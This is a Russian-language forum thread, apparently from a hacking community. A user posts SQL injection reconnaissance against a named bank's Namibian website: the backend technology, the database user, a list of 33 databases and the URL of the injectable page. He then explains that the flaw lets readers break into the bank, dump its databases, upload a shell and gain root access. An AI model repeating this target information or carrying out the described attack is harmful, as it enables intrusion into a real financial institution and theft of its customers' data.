standardbank

hackworld

Знающий
Регистрация
19 Авг 2015
Сообщения
77
Симпатии
48
Баллы
18
Депозит
0 руб.
Сделок через гаранта
0
#1
standardbank.com.na

web application technology: JSP
back-end DBMS: MySQL 5.0
current user: '[email protected]'

available databases [33]

Код:
cobrands 
competitions 
cricinfo 
cricket 
dnad_2007 
financial_planning 
financialplanning 
information_schema 
itsinyou mysql 
performance_schema 
pro20 sbachiever 
sbafcon 
sbdepositgrowth 
sbfuneral 
sbglobal 
sbhomeloans 
sbjazz 
sbphat 
sbsoccer 
sbspatial 
sbstudent 
sbvaf 
standard_bank_south_africa 
stdbankafrica 
stdbankcontentmanager 
stdbanklesotho 
stdbankmalawi 
stdbankmozambique 
stdbankswaziland 
stdbankzimbabwe 
test
Sql-Injection
Код:
http://m.standardbank.com.na/ta/account.jsp?id=1&name=Current account
 

Anunak

Авторитет
Регистрация
23 Июн 2015
Сообщения
809
Симпатии
378
Баллы
63
Депозит
0 руб.
Сделок через гаранта
0
#2
Вы это на что намекаете ?)
 

hackworld

Знающий
Регистрация
19 Авг 2015
Сообщения
77
Симпатии
48
Баллы
18
Депозит
0 руб.
Сделок через гаранта
0
#5

simko

Корифей
Проверенный продавец
Регистрация
6 Апр 2015
Сообщения
2.376
Симпатии
1.364
Баллы
113
Депозит
0 руб.
Сделок через гаранта
0
#6

hackworld

Знающий
Регистрация
19 Авг 2015
Сообщения
77
Симпатии
48
Баллы
18
Депозит
0 руб.
Сделок через гаранта
0
#8
Ладно объясню

standardbank.com.na это ссылка на сайт

web application technology: JSP это язык пример php
back-end DBMS: MySQL 5.0 это имя и версия базы данных
current user: '[email protected]' это юзер под которым находится управление

available databases [33] это действующие базы данных

Дальше идет их перечисление

Sql injection это название уязвимости

Под ней ссылка на уязвимую страницу
 

hackworld

Знающий
Регистрация
19 Авг 2015
Сообщения
77
Симпатии
48
Баллы
18
Депозит
0 руб.
Сделок через гаранта
0
#9
Простым понятным языком для всех это будет так. С помощью данной уязвимости вы можете сломать банк, тоесть получить доступ к базе данных, сдампить базы, далее попытатся залить шелл и получить root
 

Anunak

Авторитет
Регистрация
23 Июн 2015
Сообщения
809
Симпатии
378
Баллы
63
Депозит
0 руб.
Сделок через гаранта
0
#10
Простым понятным языком для всех это будет так. С помощью данной уязвимости вы можете сломать банк, тоесть получить доступ к базе данных, сдампить базы, далее попытатся залить шелл и получить root
В целом так и понял/и.
Но зачем ты это выложил ?
 

Сверху Снизу